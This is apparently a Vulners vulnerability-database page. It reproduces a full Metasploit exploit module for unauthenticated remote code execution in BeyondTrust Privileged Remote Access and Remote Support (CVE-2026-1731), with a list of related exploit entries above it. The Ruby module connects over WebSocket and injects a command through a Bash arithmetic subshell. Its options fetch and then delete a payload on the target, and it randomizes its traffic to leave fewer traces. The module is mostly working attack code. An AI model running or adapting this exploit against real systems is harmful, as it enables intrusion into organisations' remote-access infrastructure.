| Reporter | Title | Published | Views | Family All 502 |
|---|---|---|---|---|
| Exploit for CVE-2026-1731 | 11 Feb 202609:18 | – | githubexploit | |
| Exploit for OS Command Injection in Beyondtrust Privileged_Remote_Access | 20 Feb 202622:31 | – | githubexploit | |
| Exploit for CVE-2025-1094 | 14 Mar 202520:21 | – | githubexploit | |
| Exploit for CVE-2026-1731 | 13 Feb 202619:48 | – | githubexploit | |
| Exploit for CVE-2025-1094 | 27 Feb 202511:08 | – | githubexploit | |
| Exploit for OS Command Injection in Beyondtrust Privileged_Remote_Access | 18 Feb 202606:05 | – | githubexploit | |
| Exploit for CVE-2025-1094 | 5 Mar 202504:20 | – | githubexploit | |
| Exploit for CVE-2025-1094 | 19 Oct 202518:08 | – | githubexploit | |
| Exploit for CVE-2025-1094 | 18 Jun 202515:18 | – | githubexploit | |
| Exploit for OS Command Injection in Beyondtrust Privileged_Remote_Access | 22 May 202620:44 | – | githubexploit |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Beyondtrust
include Msf::Exploit::Remote::HttpClient
include Rex::Proto::Http::WebSocket
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
'Description' => %q{
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
Access (PRA) and Remote Support (RS). It leverages three different vulnerabilities depending on the
user-selected target.
The default target leverages CVE-2026-1731, a direct command injection affecting RS versions 25.3.1
and prior, and PRA versions 24.3.4 and prior.
Alternatively, the module can leverage a chain of CVE-2025-1094 (SQL injection in PostgreSQL)
and CVE-2024-12356 (argument injection), affecting RS and PRA versions 24.3.1 and prior.
Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.
},
'License' => MSF_LICENSE,
'Author' => [
'Harsh Jaiswal', # Discovery
'Jonah Burgess (CryptoCat)' # Module
],
'References' => [
['CVE', '2026-1731'], # Direct OS command injection in BeyondTrust
['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt26-02'], # Vendor advisory for CVE-2026-1731
['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'] # Rapid7 Analysis (CVE-2026-1731)
],
'DisclosureDate' => '2026-02-06',
'Platform' => [ 'linux', 'unix' ],
'Arch' => [ARCH_CMD],
'Privileged' => false, # Executes as the site user.
'Targets' => [
[
'Command Injection', {
'Payload' => {
'DisableNops' => true,
# We are injecting into a Bash arithmetic evaluation: a[$(command)]0.
# We must avoid characters that break the subshell or the arithmetic structure.
'BadChars' => '[$()]'
}
}
],
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
# A writable directory on the target for fetch based payloads to write to.
'FETCH_WRITABLE_DIR' => '/var/tmp',
# Delete the fetch binary after execution.
'FETCH_DELETE' => true,
# By default, a deployed site, like Remote Support, is expected to be located at the root path.
'URIPATH' => '/'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_advanced_options(
[
OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.'])
]
)
end
def check
version = get_version
return CheckCode::Unknown('Failed to determine BeyondTrust version') if version.nil?
version = Rex::Version.new(version)
return CheckCode::Appears("Detected vulnerable version of BeyondTrust #{version}") if version <= Rex::Version.new('25.3.1')
CheckCode::Safe("BeyondTrust version #{version} is not vulnerable")
end
def exploit
# For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
# the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
# establish a WebSocket connection to the target site application. By default, we query the target site to
# discover this, however a user can manually set either the expected company name or FQDN as a module option.
site_info = get_site_info
if site_info.nil?
fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
end
vprint_status("Company name: #{site_info[:company]}")
vprint_status("Site FQDN: #{site_info[:server]}")
headers = {
# This is the vulnerable application which is reachable over a WebSocket to the target site.
'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
}
if !site_info[:company].blank?
print_status("Using company name: #{site_info[:company]}")
headers['X-Ns-Company'] = site_info[:company]
elsif !site_info[:server].blank?
print_status("Using site FQDN: #{site_info[:server]}")
headers['Host'] = site_info[:server]
else
fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
end
wsock = connect_ws(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'nw'),
'headers' => headers
)
prefix = Rex::Text.rand_text_alpha(rand(1..5))
suffix = rand(0..5)
wsock.put_wstext("#{prefix}[$(#{payload.encoded})]#{suffix}\n")
# Complete the sequence with randomized dummy data to avoid static artifacts
wsock.put_wstext("#{SecureRandom.uuid}\n") # remoteCookie
wsock.put_wstext("#{rand(0..2)}\n") # remoteAuthType (usually 0, 1, or 2)
wsock.put_wstext("#{Rex::Text.rand_text_alpha(rand(4..8))}\n") # remoteGsKey
while wsock.has_read_data? datastore['WFSDELAY']
frame = wsock.get_wsframe
break if frame.nil?
if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
print_warning('WebSocket closed unexpectedly! This may indicate that a patch has been applied, and the target is no longer vulnerable.')
break
end
end
wsock.wsclose
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
if e.http_response && !e.http_response.body.blank?
if e.http_response.body == 'Invalid company or app name'
print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
else
print_error(e.http_response.body)
end
end
fail_with(Failure::PayloadFailed, "WebSocket connection failed: #{e.message}")
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation